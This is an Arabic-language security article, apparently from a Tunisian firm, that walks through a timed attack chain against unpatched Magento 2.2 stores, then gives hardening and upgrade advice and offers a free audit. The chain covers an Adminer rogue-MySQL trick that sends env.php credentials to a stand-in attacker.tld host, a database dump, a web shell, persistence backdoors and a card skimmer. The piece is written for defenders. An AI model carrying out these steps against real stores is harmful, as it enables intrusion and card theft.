وفقًا لتقرير Sansec، فإن 56.7% من متاجر Magento التي تعرضت لحملة PolyShell في مارس 2026 كانت مخترقة فعلاً عند لحظة الفحص. أكثر من النصف. وإذا كان متجرك لا يزال يعمل على Magento 2.2 — المنتهية صلاحيته منذ ديسمبر 2019، ست سنوات بلا تحديثات أمنية رسمية — فإن احتمالات أن تكون ضمن هذه النسبة ليست منخفضة. بل ساحقة.
تستعرض هذه المقالة، دقيقة بدقيقة، كيف يحوّل المهاجم متجر Magento 2.2 نموذجي إلى مصرفٍ صامت لبطاقات بنكية مسروقة. السلسلة الكاملة تستغرق 25 دقيقة. لا ثغرات يوم الصفر، ولا مهارات استثنائية — مجرد ثغرات معلنة علنًا مكدّسة فوق بعضها.
إذا كنت تملك متجرًا إلكترونيًا في تونس، اقرأ هذه المقالة حتى النهاية. وإذا كان لديك مدير تقني أو مزود خدمة، أعد توجيه هذه المقالة إليه كما هي.
ما يراه الماسح في 60 ثانية على متجر Magento تونسي نموذجي
قبل لمس الخادم، يطلق المهاجم مسحًا سلبيًا. إليك ما يكشفه متجر Magento 2.2 سيء الإعداد فورًا:
كوكي الجلسة بلا SameSite → قابل للاستغلال عبر CSRF
/.well-known/security.txt غير موجود → لا قناة إفصاح مسؤول
كل بند بمفرده ثانوي. لكن تكدّسها يرسم خارطة طريق كاملة. وهذا بالضبط ما تنشره الماسحات الآلية على المنتديات السرية كقوائم أهداف جاهزة للاستغلال.
سلسلة الهجوم، دقيقة بدقيقة
T+0 — اكتشاف الهدف (سلبي)
يكتشف الماسح بصمة Magento في ترويسات HTTP ومسارات الموارد. يدخل المتجر في قائمة أهداف Magento، مرتّبة حسب الإصدار.
T+1 — تأكيد الإصدار
طلب GET على /magento_version. الرد: Magento/2.2 (Community). يعرف المهاجم الآن أن الخادم لم يتلقَّ أي تصحيح رسمي منذ أواخر 2019. يراجع قاعدة CVE الخاصة بهذا الإصدار: القائمة تمتد على عدة شاشات.
T+5 — استغلال ثغرة SSRF في Adminer
يوجّه المهاجم /adminer.php نحو خادم MySQL خبيث يتحكم به. إن Adminer ≤ 4.7.9، عند الاتصال بقاعدة MySQL بعيدة، يمكن خداعه عبر علم CLIENT_LOCAL_FILES لتنفيذ أمر LOAD DATA LOCAL INFILE يستهدف /var/www/html/app/etc/env.php. يحتوي هذا الملف على كلمة مرور MySQL بنص واضح. الآلية موثّقة بالكامل علنيًا (انظر القسم التالي).
T+10 — تفريغ كامل لقاعدة البيانات
بعد الحصول على بيانات MySQL الحقيقية، يعيد المهاجم الاتصال بـ Adminer — هذه المرة بشكل مشروع. يصدّر جداول customer_entity، وsales_order، وquote_address، وcustomer_address_entity. الأسماء، البريد الإلكتروني، الهواتف، العناوين، تاريخ الطلبات، تجزئة كلمات المرور. كل ذلك يُشحن في ملف .sql بحجم مئات الميغابايتات.
T+15 — رفع غلاف ويب (PolyShell)
حملة PolyShell التي وثّقتها Sansec في مارس 2026 تستغل ثغرة رفع ملفات غير مصادق عليها في واجهة Magento REST API. يهبط ملف PHP متعدد الأشكال في مجلد /pub/media/ — المخصص أصلاً للصور فقط. من هنا، يحصل المهاجم على غلاف PHP كامل على الخادم، يعمل بصلاحيات مستخدم Apache.
T+20 — الاستمرارية
إنشاء حساب مدير Magento احتياطي، إضافة مهمة cron خبيثة، زرع مفتاح SSH عمومي في ~/.ssh/authorized_keys إذا كان لمستخدم Apache صلاحية ذلك. حتى لو اكتشفت غلاف الويب الأصلي غدًا، فإن المهاجم زرع ثلاث أبواب خلفية إضافية.
T+25 — حقن السكيمر (Magecart)
الضربة الأخيرة. يحقن المهاجم سكربت JavaScript في قالب صفحة الدفع — إما مباشرة عبر قاعدة البيانات (core_config_data)، أو عبر وحدة إضافية مخترقة. يعترض هذا السكربت كل حقول الدفع ويسرّب أرقام البطاقات إلى نطاق خارجي عند كل محاولة دفع. بدون CSP لحجب النطاق، ودون مراقبة سلامة القوالب، لا يلاحظ أحد ذلك حتى تصل أول مطالبة استرداد من العميل بعد أسابيع.
من اللحظة T+25 فصاعدًا، كل بطاقة تُدخل على متجرك تُسرق في صمت.
لماذا يُعد جمع Adminer مع Magento 2.2 خليطًا متفجرًا
يرسل المهاجم POST /adminer.php مع server=attacker.tld (خادم MySQL الخبيث الخاص به).
يفتح Adminer اتصال MySQL خارجيًا نحو attacker.tld:3306.
يرسل خادم MySQL الخاص بالمهاجم تحية مع تفعيل علم CLIENT_LOCAL_FILES.
يصدر الخادم الخبيث طلب LOAD DATA LOCAL INFILE '/var/www/html/app/etc/env.php'.
يقرأ Adminer، معتقدًا أنه ينفّذ استعلامًا مشروعًا، الملف المحلي ويرسله إلى الخادم البعيد.
يحتوي env.php على host، وuser، والأهم password لـ MySQL بنص واضح.
يعيد المهاجم الاتصال بـ Adminer ببيانات الاعتماد الحقيقية.
وصول كامل إلى قاعدة البيانات: العملاء، الطلبات، تجزئة كلمات المرور.
تضاعف Magento 2.2 الكارثة لثلاثة أسباب:
لا تصحيحات منذ 2019 — كل ثغرة CVE اكتُشفت منذ ذلك الوقت قابلة للاستغلال.
CVE-2025-54236 «SessionReaper» (درجة CVSS 9.1) — تجاوز مصادقة في REST API يتيح الاستيلاء على حسابات المديرين وتثبيت أغلفة الويب. أصدرت Adobe النشرة APSB25-88؛ ولا يتلقى خط 2.2 أي تصحيح.
PolyShell (مارس 2026) — تنفيذ كود عن بُعد بلا مصادقة عبر REST API. هذه الحملة بالذات هي مصدر إحصائية Sansec: 56.7% من المتاجر مخترقة فعلاً.
متجر بإصدار 2.2 مع Adminer مكشوف ليس خطرًا نظريًا. إنه عدّ تنازلي.
افحص صفحة الدفع بحثًا عن أي JavaScript يُحمَّل من نطاق خارجي غير متوقع.
فعّل HSTS في Apache:
Header always set Strict-Transport-Security \ "max-age=31536000; includeSubDomains; preload"
هذه الإجراءات الستة لا تعالج المشكلة الجذرية — لا يزال Magento لديك منتهي الصلاحية — لكنها تغلق أكثر ثلاث نقاط دخول استغلالاً. وإذا وجدت شيئًا مريبًا في الخطوة 3 أو 4 أو 5: لا تُعد تشغيل الخادم (ستفقد ذاكرة وصول عشوائية ضرورية للتحليل الجنائي الرقمي)، اعزل الخادم عن الإنترنت العام، واستعن بفريق متخصص في الاستجابة للحوادث.
الترقية إلى Magento 2.4.x: ما الذي يجب التخطيط له
ترقيع Magento 2.2 لم يعد خيارًا — لا توجد ترقيعات. الحل الوحيد المستدام هو الترقية إلى Magento 2.4.x (أو تغيير المنصة).
عناصر يجب تضمينها في خطتك:
توافق PHP — يتطلب Magento 2.4.x إصدار PHP 8.1+ وMySQL 8.0+ وOpenSearch أو Elasticsearch.
تدقيق الإضافات — كل وحدة طرف ثالث مثبّتة على 2.2 يجب التحقق منها أو استبدالها. كثير من الناشرين اختفوا.
القالب — قالب مخصص لـ 2.2 يحتاج عادة إلى إعادة بناء جزئية لـ Hyvä أو Luma 2.4.
البيانات — يغطي magento-migration-tool قاعدة البيانات؛ ملفات الميديا وبعض السمات المخصصة تتطلب عملاً يدويًا.
الإطار الزمني — احسب 6 إلى 12 أسبوعًا لمتجر متوسط الحجم، حسب الدين التقني المتراكم.
ليس سباقًا لأسبوع. إنه مشروع. لكنه أرخص بكثير من تسرّب بيانات العملاء.
كيف أعرف إن كنت أستخدم Magento 2.2؟
افتح your-shop.tld/magento_version في المتصفح. إذا كان الرد Magento/2.2.x، فأنت كذلك. وإذا أعادت الصفحة 404، اطلب من فريقك التقني التحقق في app/etc/.
أستخدم مزود استضافة محلي. أليست هذه مسؤوليته؟
جزئيًا. يتولى المضيف إدارة نظام التشغيل وطبقة الشبكة. أما Magento وإضافاته ومحتواه، فتبقى مسؤوليتك ومسؤولية المدمج التقني الخاص بك. اطلب توثيقًا مكتوبًا لمن يشرف على ماذا.
نحن متجر صغير، من قد يهاجمنا؟
لا أحد يستهدفك بالاسم. الماسحات تجوب الإنترنت حسب الإصدار، لا حسب العلامة التجارية. متجر Magento 2.2 في تونس قابل للاستغلال تمامًا كمتجر في برلين. وهذا بالضبط ما يجعل إحصائية Sansec بهذا الارتفاع: الهجوم مؤتمت بنسبة 100%.
ماذا أفعل إذا وجدت غلاف ويب في /pub/media/؟
لا تطفئ الخادم (ستفقد ذاكرة وصول عشوائية مفيدة للتحليل الجنائي). اقطع الوصول العام، خذ صورة قرص كاملة، استعن بفريق مؤهل، وأبلغ الهيئة الوطنية لحماية المعطيات الشخصية (INPDP) خلال 72 ساعة إذا تسرّبت بيانات شخصية (القانون التونسي عدد 63 لسنة 2004).
كم تكلفة التدقيق الأمني الأولي؟
التدقيق الخارجي غير التطفلي (ما يراه المهاجم في 60 ثانية) يستغرق عادة 30 دقيقة ويحدد 80% من الثغرات. هذه هي الصيغة التي نقدّمها مجانًا كافتتاح لمهمة — انظر أدناه.
تدقيق أمني مجاني لمدة 30 دقيقة
نقدّم لكل متجر إلكتروني في تونس تدقيقًا خارجيًا غير تطفلي مدته 30 دقيقة. لا حاجة إلى وصول إلى الخادم: نمسح ما هو مرئي علنيًا، ونسلّمك تقريرًا بالثغرات مرتّبة حسب الخطورة، إلى جانب خطة الإجراءات حسب الأولوية.
هذا بالضبط ما يفعله المهاجم في 60 ثانية — باستثناء أنك ترى التقرير قبله.
المصادر العامة المُستشهد بها: Adobe APSB25-88، CVE-2025-54236 (NIST NVD)، Sansec (حملة PolyShell مارس 2026)، Foregenix (الكتابة الفنية لثغرة SSRF في Adminer)، مشروع OWASP Secure Headers.